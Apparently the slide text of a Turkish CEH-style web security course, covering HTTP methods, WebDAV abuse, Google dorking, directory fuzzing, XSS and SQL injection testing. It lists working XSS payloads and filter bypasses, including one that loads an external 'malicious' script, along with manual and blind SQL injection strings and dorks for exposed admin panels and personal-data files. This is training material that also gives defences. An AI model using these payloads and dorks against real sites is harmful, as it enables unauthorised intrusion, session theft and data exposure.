  • 17. BGA | CEH @BGASecurity HTTP Nasıl Çalışır?  Http’nin istemci-sunucu mantığıyla çalışan basit bir yapısı vardır:  Önce TCP bağlantısı açılır  kullanıcı istek(HTTP isteği) gönderir  sunucu da buna uygun cevap döner  TCP bağlantısı kapatılır.  İstemci tarafından gönderilen istekler birbirinden bağımsızdır ve normalde her HTTP isteği için bir TCP bağlantısı gerekir.
  • 18. BGA | CEH @BGASecurity Http Başlık Bilgileri  HTTP’de bağlantıyı yöneten başlık bilgileri ve bağlantının taşıdığı veri kısmı vardır  HTTP başlık bilgisi istek ve cevaplarda farklı olabilir  Host , User-Agent , Cookie , X-Forwarded-For , özel başlık bilgiler vs. gibi başlık bilgileri testler esnasında incelenmesi gereken girdi noktalarıdır.
  • 19. BGA | CEH @BGASecurity X-Forwarded-For Başlık Bilgisi  HTTP üzerinden IP Spoofing(!)  Bu başlık bilgisine göre izinli sistemlerin atlatılabilmesine olanak verecektir.  Uygulamalarda IP kısıtlama özelliğinin atlatılabilmesi.
  • 20. BGA | CEH @BGASecurity Referrer Başlık Bilgisi  Bir linke hangi linkten gelindiğini belirten HTTP başlığı  İstemci tarafından kontrol edilebildiği için güvensizdir, değiştirilebilir
  • 21. BGA | CEH @BGASecurity HTTP Metodları  Web uygulamalarında, istemci sunucu arasında istek - cevap şeklinde bir iletişim gerçekleştir.  Http metodları sunucu tarafına yapılan isteğin amacını belirler:  Sık kullanılan istek türleri:  GET  POST  HEAD  OPTIONS  TRACE  PUT  DELETE  CONNECT  Bu istek türlerinin bir kısmı tehlikeli kullanıma sahiptir
  • 22. BGA | CEH @BGASecurity HTTP GET İstek Tipi  Hedef siteden ilgili dosyayı indirme/izleme amaçlı kullanılır.  GET kullanılarak yapılan istekler sunucu loglarında gözükecektir.  Browser tarafından önbelleğe alındığı için kullanıcı adı parola gibi hassas bilgiler GET istekleri ile gönderilmemeli  En fazla 7607 karekter olabilmektedir.
  • 23. BGA | CEH @BGASecurity HTTP POST İstek tipi  Taşıdığı parametreler web tarayıcıların geçmiş kısmında kaydedilmez.  En fazla 8Mb olabilmektedir (değiştirilebilir)  Sunucu loglarında gözükmez  Modsecurity gibi bileşenlerle görülebilir
  • 24. BGA | CEH @BGASecurity HTTP PUT İstek Tipi  Hedef sisteme FTP benzeri dosya yüklemek için kullanılan metod.  Genellikle tehlikeli bir metod olduğu için açık olmaz.
  • 25. BGA | CEH @BGASecurity WebDAV  WebDAV (Web-based Distributed Authoring and Versioning )  Web üzerinden HTTP kullanılarak gerçekleştirilen dosya yönetim standardıdır.  HTTP 1.1 protokolüne bazı eklentiler ile web dizinlerini yazılabilir hale getirir.  Versiyon bilgilerini tutar.  Paylaşımda bulunanlar için not v.s tutma imkanı sağlar. 25
  • 26. BGA | CEH @BGASecurity WebDAV Denetimi  HTTP kullanılarak Internet üzerinden gerçekleştirilen dosya yönetim standardıdır.  HTTP standardının belirlediği metotlara ek olarak;  PROPFIND, PROPPATCH  LOCK  MOVE, COPY  ...
  • 27. BGA | CEH @BGASecurity WebDAV Denetimi Sunucu üzerindeki dizinler WebDAV desteği için kontrol edilmelidir. OPTIONS /webdav/ HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 12 Mar 2010 09:21:23 GMT DAV: 1,2 DAV: <http://apache.org/dav/propset/fs/1> Allow:OPTIONS,GET,POST,DELETE,PROPFIND,PROPPATCH Content-Length: 0
  • 28. BGA | CEH @BGASecurity WebDAV – Apache Yapılandırma <Directory /var/www/webdav> Options Indexes MultiViews Order allow,deny allow from all </Directory> Alias /webdav /var/www/webdav <Location /webdav> DAV On </Location>
  • 29. BGA | CEH @BGASecurity WebDAV – Apache Örnek PROPFIND /webdav/ HTTP/1.0 Depth: 1 HTTP/1.1 207 Multi-Status Date: Wed, 30 Jan 2013 08:33:33 GMT Server: Apache/2.2.9 (Ubuntu) DAV/2 PHP/5.2.6- 2ubuntu4.5 Content-Type: text/xml; charset="utf-8" <?xml version="1.0" encoding="utf-8"?> <D:href>/webdav/</D:href> <D:href>/webdav/pass.txt</D:href> <D:href>/webdav/index.php</D:href> ...
  • 30. BGA | CEH @BGASecurity Cadaver Webdav İstismar Aracı  Unix için komut satırı WebDAV istemcisidir. # cadaver http://localhost/webdav/ dav:/webdav/> pwd dav:/webdav/> ls index.php 0 Mar 12 2010 pass.txt 7 Mar 12 2010 dav:/webdav/> cat pass.txt secret dav:/webdav/>
  • 31. BGA | CEH @BGASecurity DavTest  DavTest, WebDAV açık hedefler üzerinde denetimler gerçekleştirir;  PHP, ASP, JSP, CGI, TXT, ASPX v.b. dosya tiplerinin upload edilebilmesi,  PHP, ASP, JSP, CGI, TXT, ASPX v.b. dosya tiplerine ait backdoor’ların upload edilip denenmesi,  Dosyaların zararsız formatta upload edilerek, sonra MOVE ile zararlı uzantılara çevrilmesi
  • 32. BGA | CEH @BGASecurity DavTest Örnek Kullanım # ./davtest.pl -url http://localhost/webdav ./davtest.pl Summary: Created: http://localhost/webdav/t PUT File: http://localhost/webdav/t/7ks.php PUT File: http://localhost/webdav/t/7ks.asp Executes: http://localhost/webdav/t/7ks.php Executes: http://localhost/webdav/t/7ks.html Executes: http://localhost/webdav/t/7ks.txt
  • 33. BGA | CEH @BGASecurity GHDB üzerinden Webdav Keşfi/İstismarı  intitle:"Directory Listing For /" + inurl:webdav tomcat  intitle:”index of" + inurl:webdav  ./davtest.pl -url http://etc.tctc.edu:8008/webdav/ Testing DAV connection OPEN SUCCEED: http://etc.tctc.edu:8008/webdav
  • 35. BGA | CEH @BGASecurity Web Sunucu Keşfi  Amaç:Web sunucu ve üzerinde çalışan uygulamalar hakkında bilgi toplama  Web sunucu/uygulama yazılımlarındaki açıklıkların bilinmesi exploitation aşamasında yardımcı olur  IIS 6’da çıkan açıklık, PHp 4.x sürümlerindeki açıklıklar  Hangi işletim sistemi, hangi sürümü, hangi web sunucusu yazılımı, hangi modüllerin kurulu olduğu vs bilgileri güvenlik testleri öncesi bulunmalıdır  Sık kullanılan web sunucu keşif yazılımları  Httprint, nmap –sV –p 80, Netcraft
  • 36. BGA | CEH @BGASecurity Web Uygulama Sunucu Keşif Araçları Netcraft.com Nmap –sV bgabank.com –p 80 httprint
  • 37. BGA | CEH @BGASecurity Web Uygulama Sürüm ve Eklenti Belirleme http://www.morningstarsecurity.com/research/whatweb
  • 38. BGA | CEH @BGASecurity Hata Mesajlarından Bilgi Toplama  Web sayfalarının vereceği hata mesajlarından hangi uygulamaların kurulduğu, hangi dizinlerin kullanıldığı, hangi işletim sistemine sahip olduğu gibi bilgiler alınabilir  Web sunucu hataları(Apache, IIS)  Uygulama sunucu hataları(php, asp)  Bazı durumlarda hatalı yapılandırma nedeniyle veritabanı bağlantı bilgileri de elde edilebilir.  Web sunucu haricinde kurulu olan uygulamaya beklenmeyen türde istekler göndererek hata durumları gözlemlenmelidir.  Apache ve IIS gibi yoğun tercih edilen web sunucuları hata mesajlarını göstermeme özelliğine sahiptir.
  • 39. BGA | CEH @BGASecurity Trace.axd Üzerinden Oturum Alma – I  Google üzerinden trace.axd bulmak için filetype:axd inurl:Trace.axd?id=0
  • 40. BGA | CEH @BGASecurity Trace.axd Üzerinden Oturum Alma – II Elde edilen session_id değeri cookie manager ile browsera import edilerek sistem üzerinde admin oturumu elde edilmiştir.
  • 41. BGA | CEH @BGASecurity Trace.axd Üzerinden Oturum Alma – III Session_Id değeri import edildikten sonra admin panele erişilmiştir.
  • 42. BGA | CEH @BGASecurity Elmah.axd Üzerinden Oturum Alma  site:fr filetype:axd elmah.axd
  • 43. BGA | CEH @BGASecurity Robots.txt ile Hassas Dizin/Dosya Keşfi Robots.txt üzerinden google tarafından indexlenmesi istenmeyen dizinler girilir. Bu dosyaya erişilmesi durumunda hassas dizinler tespit edilebilir.
  • 44. BGA | CEH @BGASecurity Google Hacking  Google denetimler için bilgi toplama için kullanılan en popüler arama motorudur.  Google’ın sağladığı ileri seviye arama yöntemleri kullanılarak yapılan güvenlik aktivitelerine ise Google Hacking denmektedir.
  • 45. BGA | CEH @BGASecurity Google Arama Anahtar Kelimeleri domain name daraltması dosya tipi daraltması
  • 46. BGA | CEH @BGASecurity Google Zafiyet Arama - Örnek  Açık phpmyadmin MYSQL yönetim arabirimleri  Açık PhpNuke portal yönetim arabirimleri intitle:phpMyAdmin "Welcome to phpMyAdmin" "running on * as root@*" inurl:admin.php "There are no Administrators"
  • 47. BGA | CEH @BGASecurity Google Zafiyet Arama - Örnek Cisco VPN Hesap Dosyaları 1 2 3 4
  • 48. BGA | CEH @BGASecurity Google Bilgi Toplama - Örnek Hassas bilgiler toplamak için Google anahtar kelimeleri kullanılabilir; filetype:xls filetype:pdf tc kimlik no “üye listesi” filetype:pdf cep no “hasta listesi”
  • 49. BGA | CEH @BGASecurity Alt Dizin / Dosya Keşfi  Hedef sistem üzerinde unutulmuş, gereksiz olarak bırakılmış ya da eksik/yanlış yapılandırma sonucu kalmış dosya/dizinleri bulma  Yüzlerce istek gönderip istekler için 302, 200 cevapları dönüyorsa dizin/dosya var demektir.  Özellikle yönetim sayfalarının bulunması için sık kullanılır(/admin, /login.asp, yonet.php vs)  Owasp Dirbuster, AdminFinder araçları
  • 50. BGA | CEH @BGASecurity DirBuster  Sadece crawl yapılarak bütün girdi noktalarının bulunması mümkün değildir;  gizlenmiş  gösterilmek amacı ile oluşturulmamış dizin/sayfalar sözlük ve kaba kuvvet denemeleri yardımı ile bulunmalıdır.  DirBuster; Multi-thread çalışabilen (hızlı) bir Java desktop uygulamasıdır. Bir web uygulamasında gizlenmiş sayfaları, dizinleri bulmaya çalışır.
  • 51. BGA | CEH @BGASecurity DirBuster Hedef URL Denenecek dizin/sayfa listesi Denenecek sayfa uzantısı Hem dizinler hem sayfalar denenecek Bulunan dizinlerde de liste denenecek Kullanılacak thread sayısı
  • 52. BGA | CEH @BGASecurity Wfuzz - Fuzzing  Subdomain tespiti için kullanılabilir  Alt dizin tespiti için kullanılabilir  IDOR istismarı için kullanılabilir.  Teknik LFI,Sqli,XSS benzeri açıklıkların tespitinde kullanılabilir. wfuzz -c --hc 404,XXX -z file,urls.txt -z file,common.txt FUZZ/FUZ2Z wfuzz -c --hc 404,XXX –z range,1-1000 –z http://test.com/index.asp?id=FUZZ
  • 53. BGA | CEH @BGASecurity Web Güvenlik Testi Araçları  Web uygulama güvenliğinde sık kullanılan araçlar:  Burp suite  Owasp ZAP  Firefox eklentileri (Live http header, tamper data ,firebug)  Sqlmap , nmap , metasploit  Otomatize test araçları (Netsparker,Acunetix,IBM Appscan,W3af vs.)
  • 54. BGA | CEH @BGASecurity Web Proxy Yazılımları  Web uygulamaları testlerinin vazgeçilmez araçları  Browser üzerinden yapılamayacak istekleri gerçekleştirmek veistemci tarafında yapılan güvenliği(javascript, hidden fields)atlatmak için kullanılır  HTTP başlıklarına ait tüm değerler istenildiği gibi değiştirilebilir  Paros, Burp Proxy, Web Scarab, Firefox HTTP Tamper
  • 55. BGA | CEH @BGASecurity Firefox TamperData/LiveHeaders  Güvenlik testlerinde firefox eklentileri kullanılabilir.  Firecat (Firefox Extension Framework) incelenebilir. Tamper Data Live Headers
  • 56. BGA | CEH @BGASecurity Owasp ZAP Client server arasına girerek gelen giden istekleri görebilir, replay edilebilir ve otomatize taramlar gerçekleştirilebilir.
  • 57. BGA | CEH @BGASecurity Burpsuite Proxy  Owasp zap benzeri bir web proxy aracıdır.  Ticari sürümü de bulunmaktadır.  Alternatiflerine göre daha esnek kullanıma sahiptir
  • 58. BGA | CEH @BGASecurity FoxyProxy ile proxy ayarları  Birden fazla profil oluşturularak farklı portlar üzerinde web proxy çalıştıma için hızlı bir firefox eklentisi.  Firefox proxyler araı geçiş yaparken her seferinde ayarlar menüsünde işlem yapmaya gerek bıraktırmaz.
  • 59. BGA | CEH @BGASecurity OWASP Top 10 Açıkları Amacı: OWASP katılımcıları tarafından ilgili zaman dilimindeki en sık karşılaşılan güvenlik açıklıklarının listesi
  • 60. BGA | CEH @BGASecurity Girdi Denetimi  Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir şekilde denetlenmesidir.  Bir çok saldırı çeşidinin temelinde yetersiz girdi kontrolü vardır;  Cross Site Scripting  SQL Injection  Remote / Local File Inclusion  ...
  • 61. BGA | CEH @BGASecurity 1. Normalizasyon (Canonicalization)  Bir dizginin en basit, en temel haline çevrilmesidir.  Örnek, aşağıdaki iki yol aynı dosyayı işaret etmektedir; /../../etc/passwd /etc/passwd  Karmaşık ve kritik bir işlemdir.
  • 62. BGA | CEH @BGASecurity 2. Beyaz Liste Girdi Denetimi  Sadece iyi karakter veya karakter dizgilerinin kabul edilmesidir.  Güvenli ve tavsiye edilen girdi denetimidir.  Örnekler;  Kredi kartı girdi alanının geçerli kredi kartı numarası olup olmadığının kontrolü  Eposta adresi girdi alanının geçerli eposta olup olmadığının kontrolü
  • 63. BGA | CEH @BGASecurity 3. Kara Liste Girdi Denetimi  Bilinen kötü karakter veya karakter dizgilerinin reddedilmesidir.  Çok kullanılan ama güvensiz girdi denetimidir.  Örnekler;  <script> geçen girdilerin reddedilmesi  or 1=1 -- geçen girdilerin reddedilmesi
  • 64. BGA | CEH @BGASecurity 4. Temizleme İşlemi (Sanitize)  Girdinin kabul edilebilir bir formata çevrilmesidir.  Beyaz liste mantığı ile sanitize  Örn: Telefon numarası içinde geçen sayı, olmayan karakterlerin silinmesi  Kara liste mantığı ile sanitize  Örn: Adres girdisinin içindeki bütün tek tırnak karakterlerinin silinmesi
  • 65. BGA | CEH @BGASecurity 5. Encoding İşlemi  Girdi içindeki özel karakterlerin başka bir formata değiştirilmesidir.  Amaç, hedef yorumlayıcı için özel karakterlerin kodlama işlemi sonrası önemlerini yitirmiş olmalarıdır.  Örnek;  HTML kodlama  URL kodlama
  • 66. BGA | CEH @BGASecurity 6. Escape İşlemi  Yorumlayıcıya gitmeden gerçekleştirilen karakter format değişikliğidir.  Çoğu durumda kodlama ile aynı anlamdadır.  Örnek;  Oracle veritabanında çalışacak SQL sorgularında tek tırnak karakterlerinin iki tek tırnak ile değiştirilmesiyle, sorgu yapısının değiştirilmesi engellenebilir.
  • 67. BGA | CEH @BGASecurity XSS Nedir? Browser Uygulama
  • 68. BGA | CEH @BGASecurity Cross Site Scripting - XSS  Html/dhtml/css veya javascript kodunun izinsiz olarak kurbanın tarayıcısında çalıştırılmasıdır.  Üç genel XSS çeşidi mevcuttur;  Reflected  Stored  DOM Based
  • 69. BGA | CEH @BGASecurity Reflected XSS  Saldırganın gönderdiği XSS payloadu veritabanında tutulmaz.  İstismar edilebilmesi için kurbanın bir linke ziyaret etmesi gerekir. Sosyal mühendislik gerektirir.  Cookie bilgisi ile oturum çalma, kullanıcı browserinda yetkisiz kod çalıştırma vs.  Blacklist/whitelist ve encoding yöntemleri ile engellenebilir.
  • 70. BGA | CEH @BGASecurity Stored XSS  Saldırganın hedef sunucuya gönderdiği zararlı script doğrudan database kaydedilir. Ve bu kodun yansıtıldığı sayfaları ziyaret eden kullanıcı browserinda bu kod çalşır.  Linkedin üzerinde kullanıcı adı bölümünde XSS olsa (!)  Kaydedilen datanın sayfaya döndürülmesi esnasında herhangi bir decoding yöntemi kullanılmamasından kaynaklanır.  Html encode az da olsa başarılı bir atlatma olabilir.
  • 71. BGA | CEH @BGASecurity Stored XSS - II  Reflected XSS göre daha tehlikeli ve istismarı kolaydır. Sosyal müh. Yapmaya gerek yok.  Worm tarzında saldırılar (kendisini her ziyaret edeni arkadaş olarak ekleme vs.), zararlı bulaştırma, defacement vs. yapılabilir.
  • 73. BGA | CEH @BGASecurity DOM Based XSS  Client tarafındaki yanlış yazılmış javascript’lerin sebep olduğu kullanıcı girdisini doğrudan filtrelemeden alıp yorumlayan bölümlerde mevcuttur.  Diğer XSS’lerde hata asp,aspx,php gibi sunucu tarafındaki kodlamadadır, DOM based için bu client tarafındaki javascriptdedir.  Reflected XSS oldukça benzer, istismarı için sosyal müh. Benzeri saldırılar yapmak gerekir.
  • 74. BGA | CEH @BGASecurity DOM Based XSS - Senaryo
  • 75. BGA | CEH @BGASecurity XSS - MySpace Worm
  • 76. BGA | CEH @BGASecurity XSS - MySpace Worm
  • 77. BGA | CEH @BGASecurity XSS - MySpace Worm
  • 78. BGA | CEH @BGASecurity XSS - MySpace Worm
  • 79. BGA | CEH @BGASecurity XSS - Neden Olduğu Problemler  Bilgi Hırsızlığı  Oturum Korsanlığı  Clipboard Veri Çalma, Tuş Yakalama, Ekran Çalma  İçerik Değişikliği (Defacement)  Geçmiş Tarama, Port Tarama  Dahili IP Çalma, Web Spidering, XSS Botnet  Açıklık Tarama, Worm
  • 80. BGA | CEH @BGASecurity XSS - Temel Test Tekniği - Analiz 1. XSS için denetlenecek parametre belirlenir 2. Bu parametreye abcde gibi basit bir değer verilerek istek yapılır 3. Cevap içerisinde abcde nerelerde geçiyor hesaplanır.  HTML  HTML Attribute  Javascript  URL
  • 81. BGA | CEH @BGASecurity XSS - Temel Test Tekniği - Test 1. Analiz sonucu parametre değeri olarak uygun payload gönderilir 2. Cevabın içinde payload aranır, 3. Bulunduğunda sayfa içinde payload uygun kodlama işleminden geçirilmemiş ise XSS güvenlik zafiyetinden bahsedilir.
  • 82. BGA | CEH @BGASecurity XSS - Payload 1 - Örnek 1 2
  • 83. BGA | CEH @BGASecurity Örnek XSS Payloadları  <script src="http://bga.com.tr/zararli.js">  <SCript>alert(1);</SCript>  <scr<script>ipt>alert(1)</scr<script>ipt>  <a href=”http://www.google.com>tıkla</a>  <a href=”javascript:alert(1)”>tıkla</a>  <a href="rhainfosec.com" onmouseover=alert(1)>test</a>
  • 84. BGA | CEH @BGASecurity Örnek XSS Paylodları - II  <svg/onload=window.onerror=alert;throw/XSS/;//  <iframe src=http://www.bga.com.tr/ width=500 height=600></iframe>  "><body onmouseover=alert(/a3q/) bad=“  " onmouseover=alert(/a3q/) bad=“  "><body onload="alert(document.cookie)”>  "><textarea><ScRiPt>prompt(961307)<ScRiPt></textarea>
  • 85. BGA | CEH @BGASecurity Owasp Xenotix XSS Test Framework • 1600’a yakın XSS payload’ı bünyesinde barındıran ve bunları elle/otomatik bir şekilde hedef alanlarda (GET/POST) deneme imkanı sunan araç. • Gelişmiş XSS istismar eklentilerine sahiptir.
  • 86. BGA | CEH @BGASecurity Netsparker/Acunetix XSS Testleri Acunetix ve Netsparker web güvenlik tarama yazılımlarının deneme sürümleri (Netsparker icin Cummunity Edition bulunmaktadır) XSS zafiyetlerini başarılı bir şekilde tespit edebilmektedir.
  • 87. BGA | CEH @BGASecurity XSS Engelleme  Girdi denetiminde pozitif güvenlik modeli uygulama  Microsoft AntiXSS framework kullanımı  Oturum çerezlerinde http-only özelliğinin aktif edilmesi  HttpOnly olarak işaretlenmiş çerezler, istemci tarafındaki herhangi bir uygulama tarafından erişilemezler. Bu durumda web uygulamasında XSS açığı bulunsa dahi saldırganlar sizin çerez bilgilerinize erişemeyeceklerdir.  Php.ini ‘den session.cookie_httponly=1 XSS Engelleme amaçlı OWASP kaynakları: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  • 88. BGA | CEH @BGASecurity XSS Payloads  <script src="http://bga.com.tr/zararli.js">  <SCript>alert(1);</SCript>  <scr<script>ipt>alert(1)</scr<script>ipt>  <a href=”http://www.google.com>tıkla</a>  <a href=”javascript:alert(1)”>tıkla</a>  <a href="rhainfosec.com" onmouseover=alert(1)>test</a>
  • 89. BGA | CEH @BGASecurity XSS Paylods - II  <svg/onload=window.onerror=alert;throw/XSS/;//  <iframe src=http://www.bga.com.tr/ width=500 height=600></iframe>  "><body onmouseover=alert(/a3q/) bad=“  " onmouseover=alert(/a3q/) bad=“  "><body onload="alert(document.cookie)”>  "><textarea><ScRiPt>prompt(961307)<ScRiPt></textarea>
  • 90. BGA | CEH @BGASecurity XSS için Güvenlik Sistemlerini Atlatma  Script tag’i bloklanmış durumlarda <SCript>alert(1)</SCript> <scscriptript>alert(1)</scscriptript>  Alert tag’I bloklanmış durumlarda <script>prompt(1)</script> <script>alalertert(document.cookie)</script>
  • 91. BGA | CEH @BGASecurity XSS için Güvenlik Sistemlerini Atlatma  Tag kapatmaya izin vermeyen yerler için. </script> engelliyorsa! <img src=ab onerror=prompt(1)>  < ve > bloklanmış yerlerde “ onmouseover=prompt(1) ab=“ Girdinin aşağıdaki gibi bir alana(html attribute) set ediliyor olması gerekiyor <input type=text value=““ onmouseover=prompt(1) ab=“”>
  • 92. BGA | CEH @BGASecurity XSS için Güvenlik Sistemlerini Atlatma Tag açma için kullanılan < işaretinin izinli olduğu fakat > işaretine izin verilmeyen yerlerde güvenlik sistemi atlatma <svg/onload=window.onerror=alert;throw/XSS/;//
  • 93. BGA | CEH @BGASecurity Encoded XSS Paylodları ile Atlatma  Url Encoding ve Html Encoding en sık kullanılan encoding türleridir. Payload: "><script>alert(1)</script> URL Encoded: %22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTML Encoded: &quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;
  • 94. BGA | CEH @BGASecurity Double Encoded XSS Payloadları  2 defa URL encode işlemine tabi tutma gibi.  ASP.net uygulamalarda sıklıkla double encode paylodlar iki kere decode edilbilmektedir.(Farklı yerlerde) Payload: "><script>alert(1)</script> Double URL Encoded Payload: %2522%253E%253Cscript%253Ealert(1)%253C%252Fscript %253E
  • 96. BGA | CEH @BGASecurity İstemci Tabanlı Korumaları Aşma
  • 97. BGA | CEH @BGASecurity İstemci Tabanlı Koruma Politikaları  Kullanıcı sayfaları gezerken bazı formlarda istemci taraflı kontroller yapılabilir  İstemci taraflı kontroller istisnasız değiştirilebilir  Sık karşılaşılan istemci taraflı koruma örnekleri  Javascript ile yapılan koruma deneyimleri ▪ Login ekranlarında karekter/boyut kontrolü  Flash uygulamalarında yapılan kontroller ve korumalar  Kişisel proxyler kullanılarak istemci ile sunucu arasına girerek değerler değiştirilebilir.
  • 98. BGA | CEH @BGASecurity Hidden/Gizli Form Elemanları  HTML tag!ı  Kullanıcıya göstermeden kod üzerinden bazı işlemleri yapma  Sunucu tarafında hesaplanması gereken değerler hidden alanlarda saklanırsa rahatlıkla değiştirilebilir  Kesinlikle bir değer saklama amaçlı kullanılmamalı!
  • 99. BGA | CEH @BGASecurity Hidden Form Örnek:Adım1
  • 100. BGA | CEH @BGASecurity Hidden Form Örnek: Adım 2
  • 101. BGA | CEH @BGASecurity Javascript Korumalarını Aşma  Javascript tamamen istemci tarafında(browser) çalışır  Javascript kullanılarak yapılacak engellemeler, önlemler kişisel proxyler ve Firefox pluginleri kullanılarak (Tamper Data) değiştirilebilir
  • 102. BGA | CEH @BGASecurity User-Agent Kontrolünü Aşma EFT Ücreti:2.5TL WAP üzerinden yapılan EFT’lerde ücret alınmıyor. Firefox plugini kullanarak User-Agent mobil cihaz gibi gösterilipWAP sayfasından ücretsiz EFT işlemi yapılabilir Nasıl engellenebilir?
  • 103. BGA | CEH @BGASecurity SQL Injection Nedir?  SQL Injection;  Saldırganlar için en popüler,  Geliştiriciler için en bilindik,  İş sahipleri için en tehlikeli  Hedef veritabanında uygulama yolu ile yetkisiz olarak sql sorgularının çalıştırılabilmesidir.
  • 104. BGA | CEH @BGASecurity Gerçek Hayattan SQL Injection Örnekleri
  • 105. BGA | CEH @BGASecurity SQL Injection Haberleri
  • 106. BGA | CEH @BGASecurity SQL Injection Kullanarak Neler Yapılabilir?  Hedef uygulamadaki veritabanı kullanıcısının yetkilerine göre aşağıdaki işlemler gerçekleştirilebilir:  İşletim sisteminden dosya okunabilir  İşletim sistemine yeni bir dosya eklenip değiştirilebilir  Veritabanı tablo ve diğer detay bilgiler elde edilebilir  İşletim sisteminde komut çalıştırılabilir  Login panelindeki user/pass doğrulama aşaması atlatılabilir.
  • 107. BGA | CEH @BGASecurity Temel SQL Bilgisi  SQL Injection zafiyetlerinin %1’i Web, %99’u SQL bilgisi gerektirmektedir.  Açıklığı bulmak ve bulduktan sonra istismar etmek tamamen SQL bilgisi ile doğru orantılıdır.  Birden fazla SQL programında uzman olmak zordur, bunun yerine Sqlmap gibi bu işleri bünyesinde barındıran yazılımlar kullanılabilir.
  • 108. BGA | CEH @BGASecurity Structured Query Language - SQL  Veritabanı sorgulama ve işlem yapma dilidir.  Üç sorgu sınıfı bulunmaktadır;  DDL, Data Definitin Language ▪ Create, Alter, Drop, Truncate  DML, Data Manipulation Language ▪ Select, Insert, Update, Delete  DCL, Data Control Language ▪ Grant, Revoke
  • 109. BGA | CEH @BGASecurity SQL - Fonksiyonlar  VERSION  Veritabanı versiyon bilgisi  DISTINCT  Kayıtların unique olarak çekilmesi  ASCII  Ascii ondalık değerinin çekilmesi  MID  Dizginin (string) parçalara bölünmesi
  • 110. BGA | CEH @BGASecurity SQL - CREATE calisanlar Ad Soyad Cinsiyet Yas Telefon Kemal Kara E 27 534564 Zeynep Lale K 32 535454 Ali Bulut E 42 345345 CREATETABLE calisanlar ( AdVARCHAR(12), SoyadVARCHAR(25), Cinsiyet CHAR(1), Yas NUMBER(3), Telefon CHAR(6) );
  • 111. BGA | CEH @BGASecurity SQL - SELECT SELECT Ad, Soyad FROM calisanlar WHEREYas > 30; calisanlar Ad Soyad Cinsiyet Yas Telefon Kemal Kara E 27 534564 Zeynep Lale K 32 535454 Ali Bulut E 42 345345 Zeynep Lale Ali Bulut Sonuç:
  • 112. BGA | CEH @BGASecurity SQL - INSERT calisanlar Ad Soyad Cinsiyet Yas Telefon Zeynep Lale K 32 535454 Ali Bulut E 42 345345 INSERT INTO calisanlarVALUES (“Sinan”, “Ordu”, “E”, “19”, “454321”);
  • 113. BGA | CEH @BGASecurity SQL - Mantıksal İfadeler  Mantıksal İfade Operatörleri  Değil  Ve  Veya Operatör Açıklama &&, &, and Ve ||, |, or Ya da !, not Değil İfade1 İfade2 İfade1 && ifade2 Doğru Doğru Doğru Doğru Yanlış Yanlış Yanlış Doğru Yanlış Yanlış Yanlış Yanlış İfade !(İfade) - Değili Doğru Yanlış Yanlış Doğru İfade1 İfade2 İfade1 || ifade2 Doğru Doğru Doğru Doğru Yanlış Doğru Yanlış Doğru Doğru Yanlış Yanlış Yanlış
  • 114. BGA | CEH @BGASecurity SQL Injection - Senaryo SELECT * FROM users WHERE id=$id; SELECT * FROM users WHERE id=100 SELECT * FROM users WHERE id=100 OR 2>1 Dinamik bir SQL sorgusu Normal bir değişken değeri Anormal bir değişken değeri: SQL Enjeksiyonu
  • 115. BGA | CEH @BGASecurity SQL Injection Çeşitleri  Olma şeklinden  Integer  String  Saldırı Perspektifinden  Kör (Blind)  Zaman Tabanlı  Union  Hata Tabanlı  Out of Band
  • 116. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5
  • 117. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5’ HATA SAYFASI select * from products where id=5’
  • 118. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 waitfor delay ‘00:00:05’ -- select * from products where id=5 waitfor delay ‘00:00:05’ -- Ürün Detayı LedTV Orijinal Cevap 5 sn gecikmeli
  • 119. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 select * from products where id=5 Ürün Detayı LedTV Orijinal Cevap /urundetay.aspx?id=5 and 5=5 select * from products where id=5 and 5=5 HATA SAYFASI /urundetay.aspx?id=5 and 5=6 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5 and 5=6
  • 120. BGA | CEH @BGASecurity Integer SQL Enjeksiyonu – Manuel Test Teknikleri  ?id=5  ?id=5’  ?id=5 or 5=5  ?id=5 and 5=5  ?id=5 and 5=6  ?id=5;--testdata  ?id=5 waitfor delay ‘00:00:05’ --
  • 121. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri /goster.do?isim=muro Kullanıcı Detayı Muro Orijinal Cevap select * from users where name=‘muro’
  • 122. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri HATA SAYFASI /goster.do?isim=muro’ select * from users where name=‘muro’’
  • 123. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri Kullanıcı Detayı Muro Orijinal Cevap 5 sn gecikmeli /goster.do?isim=muro’ and SLEEP(5) %23 select * from users where name=‘muro’ and SLEEP(5) # ’
  • 124. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri /goster.do?isim=muro select * from users where name=‘muro’ Kullanıcı Detayı Muro Orijinal Cevap /goster.do?isim=muro’ and ‘5’=‘5 select * from users where name=‘muro’ and ‘5’=‘5’ HATA SAYFASI /goster.do?isim=muro’ and ‘5’=‘6 Kullanıcı Detayı Muro Orijinal Cevap select * from users where name=‘muro’ and ‘5’=‘6’
  • 125. BGA | CEH @BGASecurity Blind SQL Injection Teori - MySQL select version() 5.0.51b-community-nt Veritabanı Versiyonu select mid(version(), 7, 1) b Veritabanı Versiyonunun Yedinci Karakteri select ord(mid(version(), 7, 1)) 98 Versiyonun Yedinci Karakterinin ASCII Değeri
  • 126. BGA | CEH @BGASecurity Kör SQL Injection /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5 and ord(mid(version(), 7, 1)) > 63 98 5.0.51b-community-nt b 1 127 63
  • 127. BGA | CEH @BGASecurity Kör SQL Injection /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5 and ord(mid(version(), 7, 1)) > 95 98 5.0.51b-community-nt b 63 127 95
